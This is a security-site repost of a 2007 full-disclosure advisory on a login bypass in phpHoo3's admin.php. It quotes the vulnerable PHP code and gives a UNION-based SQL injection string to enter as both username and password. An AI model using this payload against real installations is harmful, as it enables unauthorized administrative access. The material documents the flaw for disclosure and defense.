Информационная безопасность
[RU] switch to English


Дополнительная информация

  Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

  [Full-disclosure] Advanced Guestbook version 2.4.2 Directory Traversal Vulnerability

  [Full-disclosure] Advanced Guestbook version 2.4.2 Multiple XSS Attack Vulnerabilities

  pfa CMS v6.0 (index.php repinc) Remote File Include Vulnerability

  fipsCMS v2.1 Remote SQL injection Vulnerability

From:ilkerKandemir_(at)_mynet.com <ilkerKandemir_(at)_mynet.com>
Date:8 мая 2007 г.
Subject:phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability

# phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar...

# download:http://cable-modems.org/phpHoo/files/phphoo3.zip

# author : iLker Kandemir < ilkerkandemir <at> mynet.com >

# Risk : High
# Class : Remote
# Vuln. Script : phpHoo3

# tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann ..

Vulnerable;
///admin.php

code ;
if($HooPass == $ADMIN_COOKIE) {                  //If the cookie exists

// should we delete the cookie and start?
if (isset($exit_admin)) {
 setcookie("HooPass", "");
 header ("Location: $SITE_URL$SITE_DIR");
 exit;
}
}

// Check to see if we are being posted a set of USER/PASS
if (isset($LOGIN) && !empty($HTTP_POST_VARS)) {
$vars = $HTTP_POST_VARS;
if (($vars["USER"] == $ADMIN_USER) && ($vars["PASS"] == $ADMIN_PASS)) {
 setcookie("HooPass", $ADMIN_COOKIE);
 header ("Location: $SITE_URL$SITE_DIR");
 exit;
}
   //The cookie exists
...

ADMIN_USER : 1/**/union/**/select/**/0,1,2,3,4/*
ADMIN_PASS : 1/**/union/**/select/**/0,1,2,3,4/*

///admin.php logged...

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород